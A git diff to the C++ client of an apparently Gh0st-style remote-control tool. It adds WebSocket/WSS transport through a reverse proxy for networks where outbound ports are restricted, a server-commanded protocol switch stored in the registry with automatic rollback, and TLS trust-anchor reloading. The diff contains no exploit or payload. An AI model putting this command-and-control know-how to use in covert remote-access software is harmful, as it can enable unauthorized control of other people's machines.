diff --git a/android/app/src/main/cpp/main.cpp b/android/app/src/main/cpp/main.cpp index 74facf5..1ae7055 100644 --- a/android/app/src/main/cpp/main.cpp +++ b/android/app/src/main/cpp/main.cpp @@ -591,6 +591,9 @@ static void ConnectionThread() std::unique_ptr client(new IOCPClient(g_bExit, false)); client->setManagerCallBack(nullptr, DataProcess, nullptr); + // 同 Linux/macOS:不传 conn 的构造路径拿不到注入的 CONNECT_ADDRESS,协议必须显式喂进去, + // 否则配成 WS/WSS 也只会静默按明文 TCP 直连。Android 没有 TLS 通道,WSS 会 fail-closed。 + client->SetDefaultProto((int)(unsigned char)g_SETTINGS.protoType); int g_connAttempt = 0; while (S_CLIENT_NORMAL == g_bExit && g_running.load()) { diff --git a/client/ClientApp.h b/client/ClientApp.h index a0bcbc3..72d3f68 100644 --- a/client/ClientApp.h +++ b/client/ClientApp.h @@ -11,4 +11,6 @@ public: virtual bool Start() = 0; virtual bool Stop() = 0; virtual bool IsMainInstance() = 0; + // 分享实例(被别人挂在主控上)的连接入口由分享方控制,不跟随本机主控的协议切换。 + virtual bool IsShared() { return false; } }; diff --git a/client/ClientDll.cpp b/client/ClientDll.cpp index d46af36..6874feb 100644 --- a/client/ClientDll.cpp +++ b/client/ClientDll.cpp @@ -584,6 +584,132 @@ void ParseAuthServer(CONNECT_ADDRESS *conn) { delete cfg; } +// ---------------- 协议切换(COMMAND_SET_PROTO)的客户端落地 ---------------- +// +// 服务端把目标入口写进本机配置(注册表 settings\proto_override 等),随后客户端断开, +// 重连循环在这里按新入口重连。覆盖点选在「外壳注入完连接配置之后、建连之前」,因此 +// 在线升级换 DLL 也不会把协议按回 TCP——外壳注入的 protoType 每次都被这里覆盖。 +// +// 注册表键(后缀均在 settings 下): +// proto_override 目标协议(PROTO_TCP/WS/WSS 的数字),空 = 未切换 +// entry_host/port 新入口(反代域名:端口) +// entry_try_at 切换时刻(unix 秒)。登录成功后清零;超时仍未登录 → 自动回退 +// base_host/port/proto 安装时的直连入口(首次切换时记录,「还原」用它) +// prev_host/port/proto 切换前的入口(每次切换时记录,自动回退用它) +namespace { + +const int kProtoSwitchRevertSeconds = 300; // 新入口 5 分钟内登不上去 → 自动回退 + +bool IsSwitchableProto(int p) +{ + return p == PROTO_TCP || p == PROTO_WS || p == PROTO_WSS; +} + +// 本进程首次见到的入口(外壳注入的直连入口)。用于识别「客户端被换装/重新生成」: +// 注入入口变了,就清掉旧的切换状态,否则会一直连到上一份配置的反代入口。 +std::string g_bootHost; +int g_bootPort = 0; +bool g_bootCaptured = false; + +void ClearAllProtoSwitchKeys(iniFile& cfg) +{ + const char* keys[] = { "proto_override", "entry_host", "entry_port", "entry_try_at", + "base_host", "base_port", "base_proto", + "prev_host", "prev_port", "prev_proto" }; + for (auto k : keys) + cfg.SetStr("settings", k, ""); +} + +// 在每次建连前应用入口覆盖(就地改写 s,并落盘必要的状态)。没有返回值:它既会改 s 也会 +// 改配置,用「是否用了覆盖入口」当返回值会与副作用矛盾——自动回退分支照样改写了 settings, +// 却没法用一个 bool 表达,调用方也确实不需要这个信息。 +void ApplyProtoSwitch(iniFile& cfg, CONNECT_ADDRESS& s) +{ + if (!g_bootCaptured) { + g_bootCaptured = true; + g_bootHost = s.ServerIP(); + g_bootPort = s.ServerPort(); + } + + const std::string baseHost = cfg.GetStr("settings", "base_host"); + if (!baseHost.empty() && baseHost != g_bootHost) { + // 客户端换装/重新生成:注入的入口变了,旧的反代入口不再成立 + ClearAllProtoSwitchKeys(cfg); + Mprintf("[proto-switch] injected entry changed (%s -> %s), cleared stale switch state\n", + baseHost.c_str(), g_bootHost.c_str()); + return; + } + + const std::string proto = cfg.GetStr("settings", "proto_override"); + if (proto.empty()) { + // 覆盖已撤销(服务端「还原」):回到安装时的直连入口 + const std::string host = cfg.GetStr("settings", "base_host"); + const int port = atoi(cfg.GetStr("settings", "base_port").c_str()); + int baseProto = atoi(cfg.GetStr("settings", "base_proto").c_str()); + if (!host.empty() && port > 0) { + if (!IsSwitchableProto(baseProto)) baseProto = PROTO_TCP; + s.SetServer(host.c_str(), port); + s.protoType = (char)baseProto; + Mprintf("[proto-switch] restored direct entry %s:%d proto=%d\n", host.c_str(), port, baseProto); + } + return; + } + + const int p = atoi(proto.c_str()); + if (!IsSwitchableProto(p)) { + ClearAllProtoSwitchKeys(cfg); // 坏值:撤销覆盖,按注入配置走 + return; + } + + // 自动回退:切换后一直没登录成功(entry_try_at 由服务端下发时写入,登录成功后清零) + const long long tryAt = atoll(cfg.GetStr("settings", "entry_try_at").c_str()); + if (tryAt > 0 && (long long)time(0) - tryAt > kProtoSwitchRevertSeconds) { + const std::string prevHost = cfg.GetStr("settings", "prev_host"); + const int prevPort = atoi(cfg.GetStr("settings", "prev_port").c_str()); + int prevProto = atoi(cfg.GetStr("settings", "prev_proto").c_str()); + if (!prevHost.empty() && prevPort > 0) { + // 把「覆盖」改写成切换前的入口,而不是清空它:清空会落到下面的「还原」分支, + // 下一轮重连又跳回安装时的直连入口——WS↔WSS 之间来回切时会白白多断一次。 + if (!IsSwitchableProto(prevProto)) prevProto = PROTO_TCP; + s.SetServer(prevHost.c_str(), prevPort); + s.protoType = (char)prevProto; + cfg.SetStr("settings", "proto_override", std::to_string(prevProto)); + cfg.SetStr("settings", "entry_host", prevHost); + cfg.SetStr("settings", "entry_port", std::to_string(prevPort)); + Mprintf("[proto-switch] new entry unreachable for %llds, reverted to %s:%d proto=%d\n", + (long long)time(0) - tryAt, prevHost.c_str(), prevPort, prevProto); + } else { + // 没有前入口可回:撤销覆盖,按外壳注入的配置走 + cfg.SetStr("settings", "proto_override", ""); + cfg.SetStr("settings", "entry_host", ""); + cfg.SetStr("settings", "entry_port", ""); + Mprintf("[proto-switch] new entry unreachable and no previous entry, override dropped\n"); + } + cfg.SetStr("settings", "entry_try_at", "0"); + return; + } + + const std::string host = cfg.GetStr("settings", "entry_host"); + const int port = atoi(cfg.GetStr("settings", "entry_port").c_str()); + if (!host.empty() && port > 0) + s.SetServer(host.c_str(), port); + s.protoType = (char)p; +} + +// 新入口登录成功:撤销自动回退计时。入口覆盖本身保留——后续重连一直用它。 +void ConfirmProtoSwitch(iniFile& cfg) +{ + if (cfg.GetStr("settings", "proto_override").empty()) + return; + if (cfg.GetStr("settings", "entry_try_at") == "0" || + cfg.GetStr("settings", "entry_try_at").empty()) + return; + cfg.SetStr("settings", "entry_try_at", "0"); + Mprintf("[proto-switch] new entry reachable, auto-revert disarmed\n"); +} + +} // namespace + DWORD WINAPI StartClient(LPVOID lParam) { ClientApp& app(*(ClientApp*)lParam); @@ -665,6 +791,10 @@ DWORD WINAPI StartClient(LPVOID lParam) static auto _ = RestoreMemDLL(&cfg, &settings, app.g_bExit); while (app.m_bIsRunning(&app)) { ULONGLONG dwTickCount = GetTickCount64(); + // 协议切换:按注册表里的入口覆盖建连(分享实例不受主控的切换影响,被分配/转移 + // 过主控的入口优先)。 + if (!assigned && !app.m_bShared) + ApplyProtoSwitch(cfg, settings); if (!ClientObject->ConnectServer(settings.ServerIP(), settings.ServerPort())) { Mprintf("[ConnectServer] ---> %s:%d.\n", settings.ServerIP(), settings.ServerPort()); for (int k = 300+(IsDebug ? rand()%600:rand()%6000); app.m_bIsRunning(&app) && --k; Sleep(10)); @@ -689,6 +819,14 @@ DWORD WINAPI StartClient(LPVOID lParam) do { Manager->SendHeartbeat(); SetThreadExecutionState(ES_CONTINUOUS | ES_SYSTEM_REQUIRED); + // 协议切换:新入口「登录被接受」后才撤销自动回退计时(ConfirmProtoSwitch 幂等)。 + // IsConnected() 只代表 TCP/TLS/WS 握手完成;若新入口能建连但登录始终不被接受 + // (选错后端、反代指到别的 WS 服务、服务端登录阶段丢弃),提前撤销会让 5 分钟 + // 自动回退永久失效,客户端卡在错误入口反复重连。IsLoginAcked() 在收到 + // CMD_MASTERSETTING 时置位——服务端只有在把本机加入在线列表后才发它。 + // 不放在循环前一次判定:MasterSettings 可能比第一轮心跳晚到。 + if (ClientObject->IsConnected() && ClientObject->IsLoginAcked()) + ConfirmProtoSwitch(cfg); if (assigned && time(0) > valid_to) { app.SetProcessState(S_CLIENT_UPDATE); settings.SetServer(ip.c_str(), port); diff --git a/client/ClientDll.h b/client/ClientDll.h index 274b6c5..83d67a7 100644 --- a/client/ClientDll.h +++ b/client/ClientDll.h @@ -61,6 +61,10 @@ public: { SAFE_DELETE(g_Connection); } + bool IsShared() override + { + return m_bShared != FALSE; + } ClientApp* SetID(unsigned id) { m_ID = id; diff --git a/client/IOCPClient.cpp b/client/IOCPClient.cpp index a11aac7..5f26d93 100644 --- a/client/IOCPClient.cpp +++ b/client/IOCPClient.cpp @@ -391,6 +391,9 @@ BOOL ConnectWithTimeout(SOCKET sock, SOCKADDR *addr, int timeout_sec=5) BOOL IOCPClient::ConnectServer(const char* szServerIP, unsigned short uPort) { + // 登录确认标志只描述「当前这条连接」:任何一次新建连都先清零,避免上一条连接的 + // 确认结果替新连接背书(协议切换的自动回退靠它判断新入口是否真的登录成功)。 + m_loginAcked.store(false, std::memory_order_release); if (szServerIP != NULL && uPort != 0) { SetServerAddress(szServerIP, uPort); } @@ -467,6 +470,58 @@ BOOL IOCPClient::ConnectServer(const char* szServerIP, unsigned short uPort) SetKeepAliveOptions(m_sClientSocket); #endif } + // 握手超时:TLS / WebSocket 握手都是同步阻塞的(WsChannel::Handshake 逐字节 recv 等 + // 101 响应),而 socket 默认没有收超时——对端接受 TCP 却迟迟不回数据时(反代上游黑洞、 + // 中间设备只收不发),recv 会永久阻塞,StartClient 的重连循环整个停摆,只能重启进程。 + // 这里给握手窗口设 15s 超时(与服务端两个握手线程同一个值),握手结束后立刻清零, + // 避免影响 WorkThread 之后依赖 select + 阻塞 recv 的常规收包。 + bool hsTmoSet = false; +#ifdef _WIN32 + { + DWORD hsTmo = 15000; + hsTmoSet = setsockopt(m_sClientSocket, SOL_SOCKET, SO_RCVTIMEO, + (const char*)&hsTmo, sizeof(hsTmo)) == 0; + setsockopt(m_sClientSocket, SOL_SOCKET, SO_SNDTIMEO, (const char*)&hsTmo, sizeof(hsTmo)); + } +#else + { + struct timeval hsTmo; + hsTmo.tv_sec = 15; + hsTmo.tv_usec = 0; + hsTmoSet = setsockopt(m_sClientSocket, SOL_SOCKET, SO_RCVTIMEO, &hsTmo, sizeof(hsTmo)) == 0; + setsockopt(m_sClientSocket, SOL_SOCKET, SO_SNDTIMEO, &hsTmo, sizeof(hsTmo)); + } +#endif + + // WebSocket 传输(PROTO_WS / PROTO_WSS):出站被限制在 80/443/8080 等端口时,经反代 + // 分流进来。与应用协议无关,位置和 TLS 相同(TLS 之下、应用协议之上);须在 + // m_bConnected 置位前完成,确保工作线程不会在 Upgrade 尚未完成时就开始 recv。 + // Linux / macOS / Android 不传 conn,协议由 SetDefaultProto 给出(见 IOCPClient.h)。 + // 两边都没有时按明文直连,并留一行日志——否则「改成 WS 却毫无反应」无从排查。 + const int protoType = m_conn ? (int)(unsigned char)m_conn->protoType : m_defaultProto; + if (!m_conn && m_defaultProto < 0) { + // 只记一次:重连循环每轮都会走到这里,否则日志会被刷满。 + static std::atomic logged{false}; + if (!logged.exchange(true)) + Mprintf("[WS] 无连接配置(m_conn 为空)且未设置默认协议,本次按明文 TCP 直连\n"); + } + const bool wsProto = (protoType == PROTO_WS || protoType == PROTO_WSS); + const bool wsTls = (protoType == PROTO_WSS); + m_useWs = false; + // Host 头与 SNI 用配置里的地址(域名),子连接只拿到解析后的 IP,必须回到 conn 取。 + // 多地址(分号分隔)时取第一个:经反代接入的场景应在地址里只填一个域名。 + std::string wsHost = m_sCurIP; + if (m_conn) { + std::string configured = m_conn->GetFirstServerIP(); + if (!configured.empty()) + wsHost = configured; + } + // IP 字面量不能当 SNI(RFC 6066);直接连 IP 时反代会落到默认 server 块。 + const bool wsHostIsDomain = (inet_addr(wsHost.c_str()) == INADDR_NONE) && wsHost.find(':') == std::string::npos; + // WSS 但没有信任锚时的降级标记:本连接按明文 WS 走,服务端下发锚并热重载后, + // 下一次连接会自动升级为 WSS(见下方 else if 分支)。 + bool wsDegraded = false; + #ifdef YAMA_TLS_CHANNEL // 单向 TLS:证书存在(TlsEnabled())时,在应用协议首包前完成握手;握手失败即断开, // 不回退明文(fail-closed,防降级)。证书存在但加载失败(TlsLoadError())同样拒绝 @@ -480,16 +535,69 @@ BOOL IOCPClient::ConnectServer(const char* szServerIP, unsigned short uPort) m_sClientSocket = INVALID_SOCKET; return FALSE; } - if (TlsEnabled()) { - if (!m_tls.Handshake(m_sClientSocket)) { + // PROTO_WS 是显式选择的明文形态(反代的 80 端口、内网直连):即便本客户端配了信任锚 + // 也不叠加 TLS,否则该形态永远不可达。WSS 与直连主控端口仍按上面的规则强制 TLS。 + if (TlsEnabled() && protoType != PROTO_WS) { + // SNI:WSS 经反代时要让反代按域名分流到正确的 server 块;直连 IP/主控端口时保持 + // 原样(不传名字),与既有行为一致。 + const char* sni = (wsTls && wsHostIsDomain) ? wsHost.c_str() : NULL; + if (!m_tls.Handshake(m_sClientSocket, sni)) { Mprintf("[TLS] 握手失败,断开连接(fail-closed)\n"); closesocket(m_sClientSocket); m_sClientSocket = INVALID_SOCKET; return FALSE; } m_useTls = true; + } else if (wsTls) { + // 回退(不是降级攻击面):没有信任锚时无法校验反代出示的证书,但此时客户端 + // 本来也还没被「颁发」证书——先用明文 WS 把隧道打通,等服务端下发信任锚 + // (COMMAND_TLS_ENABLE → TlsReload)后,下一次连接自动走 WSS。 + // 注意:有锚但握手失败、或锚存在却加载失败(上面 TlsLoadError),仍然 fail-closed, + // 绝不静默降级。 + wsDegraded = true; + Mprintf("[WS] 未配置信任锚,本次按明文 WebSocket 连接;服务端下发证书后重连将升级为 WSS\n"); + } +#else + if (wsTls) { + Mprintf("[WS] 本平台不支持 TLS,无法使用 WSS 协议\n"); + closesocket(m_sClientSocket); + m_sClientSocket = INVALID_SOCKET; + return FALSE; } #endif + + if (wsProto) { +#ifdef YAMA_TLS_CHANNEL + m_ws.SetTls(m_useTls ? &m_tls : NULL); +#endif + std::string werr; + if (!m_ws.Handshake(m_sClientSocket, wsHost, (int)port, WS_UPGRADE_PATH, &werr)) { + Mprintf("[WS] WebSocket 握手失败(%s),断开连接\n", werr.c_str()); + closesocket(m_sClientSocket); + m_sClientSocket = INVALID_SOCKET; + return FALSE; + } + m_useWs = true; + // 注意:这里不能读 m_useTls——无 TLS 的平台上(macOS/Android)它不存在; + // 本连接实际走的形态由 wsDegraded 区分:WSS 有锚走 TLS,没锚则明文回退。 + Mprintf("[WS] WebSocket 已就绪: %s:%d%s%s\n", wsHost.c_str(), (int)port, + WS_UPGRADE_PATH, wsDegraded ? " (明文,等待信任锚)" + : (wsTls ? " (TLS)" : "")); + } + // 握手阶段结束(成功路径):清零握手超时,恢复普通阻塞收包。 + if (hsTmoSet) { +#ifdef _WIN32 + DWORD noTmo = 0; + setsockopt(m_sClientSocket, SOL_SOCKET, SO_RCVTIMEO, (const char*)&noTmo, sizeof(noTmo)); + setsockopt(m_sClientSocket, SOL_SOCKET, SO_SNDTIMEO, (const char*)&noTmo, sizeof(noTmo)); +#else + struct timeval noTmo; + noTmo.tv_sec = 0; + noTmo.tv_usec = 0; + setsockopt(m_sClientSocket, SOL_SOCKET, SO_RCVTIMEO, &noTmo, sizeof(noTmo)); + setsockopt(m_sClientSocket, SOL_SOCKET, SO_SNDTIMEO, &noTmo, sizeof(noTmo)); +#endif + } m_bConnected = TRUE; Mprintf("连接服务端成功: %s:%d.\n", m_sCurIP.c_str(), (int)port); @@ -908,6 +1016,8 @@ VOID IOCPClient::Disconnect() #ifdef YAMA_TLS_CHANNEL m_useTls = false; // 连接已断,Send/Recv 回到明文路径(下次 ConnectServer 重新锁定) #endif + m_useWs = false; // WebSocket 帧状态同样按连接锁定,重连时重新握手 + m_ws.Reset(); m_bConnected = FALSE; } diff --git a/client/IOCPClient.h b/client/IOCPClient.h index 5da26aa..2595d3d 100644 --- a/client/IOCPClient.h +++ b/client/IOCPClient.h @@ -15,6 +15,9 @@ // 且不定义 YAMA_TLS_CHANNEL,下方代码自动退回明文。 #include "TlsChannel.h" +// WebSocket 传输(经反代 443 等受限端口接入)。头文件实现,各平台编译目标无需改动。 +#include "WsChannel.h" + #include "Buffer.h" #include "zstd/zstd.h" #include "domain_pool.h" @@ -36,6 +39,7 @@ #endif #include "IOCPBase.h" #include +#include #include #include @@ -204,6 +208,12 @@ public: m_nHostPort = uPort; } + // 没有 conn 的构造路径(Linux / macOS / Android 的 main 都是 new IOCPClient(exit, false)) + // 用它给出传输协议:直接取外壳注入的 CONNECT_ADDRESS.protoType。不调用则保持 -1, + // ConnectServer 按明文 TCP 直连——那正是「配置成 WS 却毫无反应」的来源,故三个平台 + // 的 main 都要在进入重连循环前调一次。 + void SetDefaultProto(int p) { m_defaultProto = p; } + std::string ServerIP() const { return m_sCurIP; @@ -286,6 +296,14 @@ public: // 仅在我们正在等待 auth 响应时(m_authPending=true)才消费;否则透传给 manager。 bool TryHandleAuthResponse(PBYTE buf, ULONG len); + // 登录是否已被服务端接受。服务端把本机加入在线列表后立刻下发 CMD_MASTERSETTING + // (2015RemoteDlg.cpp::SendMasterSettings(ctx, ...) 的登录路径),客户端在这里置位。 + // 协议切换用来判断「新入口真的登录成功」,而不是只看 IsConnected()——那只代表 + // TCP/TLS/WS 握手完成,登录可能被丢弃(选错后端、反代指到别的 WS 服务)。 + // 每次 ConnectServer 开始时清零,故它只描述当前这条连接。 + void SetLoginAcked(bool v) { m_loginAcked.store(v, std::memory_order_release); } + bool IsLoginAcked() const { return m_loginAcked.load(std::memory_order_acquire); } + // 主动断开当前连接,关闭 socket。提到 public 让外层(如 Linux/macOS main 的心跳 // 循环检测到服务端身份校验超时)能在重连前显式关闭旧 fd,避免泄漏。 virtual VOID Disconnect(); // 函数支持 TCP/UDP @@ -293,6 +311,9 @@ public: protected: virtual int ReceiveData(char* buffer, int bufSize, int flags) { + // WebSocket 传输:字节流在 WS 帧里,帧层自己处理 TLS(WSS)或裸 socket(WS) + if (m_useWs) + return m_ws.Recv(m_sClientSocket, buffer, bufSize - 1); #ifdef YAMA_TLS_CHANNEL if (m_useTls) return m_tls.Recv(m_sClientSocket, buffer, bufSize - 1); @@ -304,6 +325,8 @@ protected: virtual bool ProcessRecvData(CBuffer* m_CompressedBuffer, char* szBuffer, int len, int flag); virtual int SendTo(const char* buf, int len, int flags) { + if (m_useWs) + return m_ws.Send(m_sClientSocket, buf, len); #ifdef YAMA_TLS_CHANNEL if (m_useTls) return m_tls.Send(m_sClientSocket, buf, len); @@ -312,8 +335,11 @@ protected: } // TLS 会话里可能有已解密但尚未交付的明文(select 只能看到底层 socket 可读性, // 看不到 TLS 库内部缓冲),接收线程在 select 前须优先消费,避免其被卡住。 + // WebSocket 同理:已读进帧头、载荷还没交完的字节同样看不到。 bool HasPendingData() const { + if (m_useWs) + return m_ws.HasPending(); #ifdef YAMA_TLS_CHANNEL return m_useTls && m_tls.HasPending(); #else @@ -328,13 +354,22 @@ protected: protected: sockaddr_in m_ServerAddr; SOCKET m_sClientSocket; + // WebSocket 传输(PROTO_WS / PROTO_WSS):ConnectServer 里握手成功时置位, + // Disconnect 时清除。与 m_useTls 一样按连接锁定,Send/Recv 不再现查 protoType。 + WsChannel m_ws; + // 收发分处两个线程:连接线程写、接收/发送线程读。形式上必须是原子量(x86 上实践 + // 无害,但换成别的架构就不能再依赖这个巧合)。 + std::atomic m_useWs{false}; + std::atomic m_loginAcked{false}; + // m_conn 为空时的协议来源(见 SetDefaultProto)。-1 = 未设置,按明文 TCP 处理。 + int m_defaultProto = -1; #ifdef YAMA_TLS_CHANNEL TlsChannel m_tls; // TLS 会话(证书存在时才启用,见 TlsChannel.h) // 本连接是否走 TLS:在 ConnectServer 里握手成功时置位、Disconnect 时清除,Send/Recv // 一律按这个快照走,不再每次现查 TlsEnabled()。Linux 客户端支持服务端下发后热切换 // 传输方式(TlsReload),若现查全局开关,切换后到重连完成之间的这一秒里会把明文塞进 // 已建立的 TLS 会话(或反过来),白白制造协议错误。 - bool m_useTls = false; + std::atomic m_useTls{false}; #endif BOOL m_bWorkThread; HANDLE m_hWorkThread; diff --git a/client/KernelManager.cpp b/client/KernelManager.cpp index 510e694..458b349 100644 --- a/client/KernelManager.cpp +++ b/client/KernelManager.cpp @@ -45,6 +45,10 @@ IOCPClient* NewNetClient(CONNECT_ADDRESS* conn, State& bExit, const std::string& return new IOCPUDPClient(bExit, exit_while_disconnect); if (type == PROTO_HTTP || type == PROTO_HTTPS) return new IOCPClient(bExit, exit_while_disconnect, MaskTypeHTTP, conn, publicIP); + // WebSocket:仍然是 IOCPClient(TCP 承载),只是 ConnectServer 里多做一次 Upgrade + // 握手,Send/Recv 换成 WS 帧。HTTP 伪装层不用(WS 帧本身就是 HTTP 升级后的流)。 + if (type == PROTO_WS || type == PROTO_WSS) + return new IOCPClient(bExit, exit_while_disconnect, MaskTypeNone, conn, publicIP); if (type == PROTO_KCP) { return new IOCPKCPClient(bExit, exit_while_disconnect); } @@ -800,6 +804,28 @@ void ResponseDisable(IOCPClient *client, const char* type, LPBYTE data, int size extern "C" bool IsSystemInSession0(); +// 信任锚已写入/删除:热重载 TLS 状态,只在传输方式真正变化(明文 ↔ TLS)时断开重连; +// 仅换证书(仍是 TLS)不打断现有会话,新锚从下一条新连接开始生效。与 Linux 版的 +// linux/main.cpp::ApplyTlsAnchorChange 同一语义。 +static void ApplyTlsAnchorChange(IOCPClient* client) +{ + const bool before = TlsEnabled(); + std::string err; + if (!TlsReload(err)) { + Mprintf("[TLS] reload failed: %s (keeping current transport)\n", err.c_str()); + return; + } + const bool after = TlsEnabled(); + if (before == after) { + Mprintf("[TLS] trust anchor updated, transport unchanged (%s)\n", + after ? "TLS" : "plaintext"); + return; + } + Mprintf("[TLS] transport switched to %s, reconnecting\n", after ? "TLS" : "plaintext"); + if (client) + client->Disconnect(); // 断开后由重连循环用新传输方式重新登录 +} + VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) { bool isExit = szBuffer[0] == COMMAND_BYE || szBuffer[0] == SERVER_EXIT; @@ -853,15 +879,20 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) case COMMAND_TLS_ENABLE: { // 服务端下发信任锚证书:payload = PEM 正文(szBuffer+1 .. ulLength-1)。 - // 写入注册表 settings\tls_cert,客户端下次启动读到证书即启用 TLS(非实时)。 + // 写入注册表 settings\tls_cert 后热重载:明文 → TLS 的切换会断开本连接,重连 + // 循环随即用 TLS 重新登录(此前按明文回退的 WSS 客户端就此升级为 WSS)。 if (ulLength > 1) { std::string certPem((char*)szBuffer + 1, ulLength - 1); m_cfg->SetStr("settings", "tls_cert", certPem); + ApplyTlsAnchorChange(m_ClientObject); + } else { + // 没有证书正文就等于「启用但没有锚」——不该悄悄忽略,留一行便于排查。 + Mprintf("[TLS] COMMAND_TLS_ENABLE without a certificate payload, ignored\n"); } break; } case COMMAND_TLS_DISABLE: { - // 删除注册表信任锚,客户端下次启动无证书即回明文(非实时)。 + // 删除注册表信任锚后热重载:TLS → 明文时断开重连(WSS 客户端会回到明文回退)。 std::string subKey = GetRegistryName() + "\\settings"; HKEY hKey = NULL; if (RegOpenKeyExA(GetCurrentUserRegistryKey(), subKey.c_str(), 0, @@ -869,6 +900,94 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) RegDeleteValueA(hKey, "tls_cert"); RegCloseKey(hKey); } + ApplyTlsAnchorChange(m_ClientObject); + break; + } + + case COMMAND_SET_PROTO: { + // 协议切换(TCP / WS / WSS):把目标入口写进本机配置后断开本连接,重连循环 + // (ClientDll.cpp 的 ApplyProtoSwitch)按新入口重连。入口覆盖要落盘,否则在线 + // 升级换 DLL 后会被外壳注入的 protoType 按回 TCP。 + // + // 载荷:[ProtoSwitchPacket][certLen 字节 PEM];host/port 都为空 = 还原到固定 + // 直连入口(客户端记着安装时的 base 入口)。WSS 可附带信任锚(反代证书),先 + // 落盘并重建 TLS 上下文,但这里不主动断开——断开统一放在末尾,避免丢后续包。 + // 分享实例的连接入口由分享方控制,主控的协议切换对它无效——直接忽略, + // 避免白白断开一次再按注入配置连回来。 + if (m_ClientApp && m_ClientApp->IsShared()) { + Mprintf("[proto-switch] ignored: shared instance follows the sharing host's entry\n"); + break; + } + if (ulLength < 1 + sizeof(ProtoSwitchPacket)) { + Mprintf("[proto-switch] payload too short (%u), ignored\n", ulLength); + break; + } + ProtoSwitchPacket p = {}; + memcpy(&p, szBuffer + 1, sizeof(p)); + p.host[sizeof(p.host) - 1] = '\0'; + p.port[sizeof(p.port) - 1] = '\0'; + const int proto = p.proto; + if (proto != PROTO_TCP && proto != PROTO_WS && proto != PROTO_WSS) { + Mprintf("[proto-switch] unsupported proto %d, ignored\n", proto); + break; + } + const std::string host(p.host); + const int port = atoi(p.port); + const bool restore = (proto == PROTO_TCP && host.empty()); + if (!restore && (host.empty() || port <= 0)) { + Mprintf("[proto-switch] missing proxy entry for proto %d, ignored\n", proto); + break; + } + + // 随包下发的信任锚(WSS):写入后热重载,让下一次连接能校验反代证书。 + const uint32_t maxCert = (uint32_t)(ulLength - 1 - sizeof(ProtoSwitchPacket)); + uint32_t certLen = p.certLen < maxCert ? p.certLen : maxCert; + if (certLen > 0) { + std::string certPem((const char*)szBuffer + 1 + sizeof(ProtoSwitchPacket), certLen); + const std::string prevCert = m_cfg->GetStr("settings", "tls_cert"); + m_cfg->SetStr("settings", "tls_cert", certPem); + std::string err; + if (!TlsReload(err)) { + // 放弃本次切换(不写 proto_override/entry_*,不断连):PEM 加载不了时客户端 + // 会进入 TlsLoadError() 的 fail-closed 状态,切过去只会「新入口连不上,等 + // 5 分钟自动回退」——而且自动回退本身也可能被误撤销。回滚证书并回报操作端。 + m_cfg->SetStr("settings", "tls_cert", prevCert); + const std::string loadErr = err; + TlsReload(err); // 让 TLS 上下文回到旧锚(失败也不影响:旧锚此前是好的) + Mprintf("[proto-switch] trust anchor reload failed: %s, switch aborted\n", loadErr.c_str()); + ClientMsg msg("协议切换", ("证书加载失败,已取消切换: " + loadErr).c_str()); + SendData((LPBYTE)&msg, sizeof(msg)); + break; + } + } + + if (restore) { + m_cfg->SetStr("settings", "proto_override", ""); + m_cfg->SetStr("settings", "entry_host", ""); + m_cfg->SetStr("settings", "entry_port", ""); + m_cfg->SetStr("settings", "entry_try_at", "0"); + Mprintf("[proto-switch] restore request, reconnecting to the direct entry\n"); + } else { + // 首次切换记下安装时的直连入口(「还原」用);每次切换记下当前入口(自动回退用) + if (m_cfg->GetStr("settings", "base_host").empty()) { + m_cfg->SetStr("settings", "base_host", m_conn->ServerIP()); + m_cfg->SetStr("settings", "base_port", std::to_string(m_conn->ServerPort())); + m_cfg->SetStr("settings", "base_proto", + std::to_string((int)(unsigned char)m_conn->protoType)); + } + m_cfg->SetStr("settings", "prev_host", m_conn->ServerIP()); + m_cfg->SetStr("settings", "prev_port", std::to_string(m_conn->ServerPort())); + m_cfg->SetStr("settings", "prev_proto", std::to_string((int)(unsigned char)m_conn->protoType)); + + m_cfg->SetStr("settings", "proto_override", std::to_string(proto)); + m_cfg->SetStr("settings", "entry_host", host); + m_cfg->SetStr("settings", "entry_port", std::to_string(port)); + m_cfg->SetStr("settings", "entry_try_at", std::to_string((long long)time(0))); + Mprintf("[proto-switch] switching to proto %d via %s:%d, reconnecting\n", + proto, host.c_str(), port); + } + if (m_ClientObject) + m_ClientObject->Disconnect(); break; } @@ -1123,6 +1242,11 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) OnHeatbeatResponse(szBuffer, ulLength); break; case CMD_MASTERSETTING: + // 登录已被服务端接受:服务端把本机加入在线列表后才下发 MasterSettings + // (2015RemoteDlg.cpp::SendMasterSettings(ctx, ...) 的登录路径)。协议切换的 + // 自动回退靠这个信号撤销,而不是只看连接是否建立——连接建立只说明握手完成。 + if (m_ClientObject) + m_ClientObject->SetLoginAcked(true); if (ulLength > MasterSettingsOldSize) { memcpy(&m_settings, szBuffer + 1, ulLength > sizeof(MasterSettings) ? sizeof(MasterSettings) : MasterSettingsOldSize); if (m_settings.Signature[0] && m_LoginSignature.empty()) { diff --git a/client/TlsChannel.cpp b/client/TlsChannel.cpp index 66c5c8a..2386652 100644 --- a/client/TlsChannel.cpp +++ b/client/TlsChannel.cpp @@ -12,14 +12,18 @@ #include // std::ifstream #include // std::istreambuf_iterator #include -#include // std::call_once +#include // std::mutex #pragma comment(lib, "secur32.lib") #pragma comment(lib, "crypt32.lib") namespace { -std::once_flag g_tlsOnce; +// 进程级 TLS 状态:首连时加载一次,服务端下发/撤销信任锚后可重建(TlsReload)。 +// 所有读写都在 g_tlsMtx 下;证书校验(VerifyServerCert)在校验期间持同一把锁,因此 +// 重建时可以安全地释放旧的 store/engine——不会再有线程正拿着它们用。 +std::mutex g_tlsMtx; +bool g_tlsLoaded = false; // 已加载过至少一次(决定首次失败是否 fail-closed) bool g_tlsEnabled = false; // TLS 会话可用:send/recv 走加密 bool g_tlsError = false; // 证书存在但加载失败:拒绝连接(fail-closed) HCERTSTORE g_tlsStore = NULL; @@ -160,26 +164,23 @@ bool LoadTrustAnchor(const std::string& pem, const std::string& source, HCERTSTO return true; } -void InitTls() +enum TlsAnchor { TLS_ANCHOR_OK, TLS_ANCHOR_NONE, TLS_ANCHOR_INVALID }; + +// 读取当前信任锚并建好 store + 链引擎(成功时经 outStore/outEngine 交出,调用方负责 +// 释放)。不触碰全局状态。source 描述锚的来源,仅用于日志。 +TlsAnchor BuildTlsAnchor(HCERTSTORE* outStore, HCERTCHAINENGINE* outEngine, + std::string& 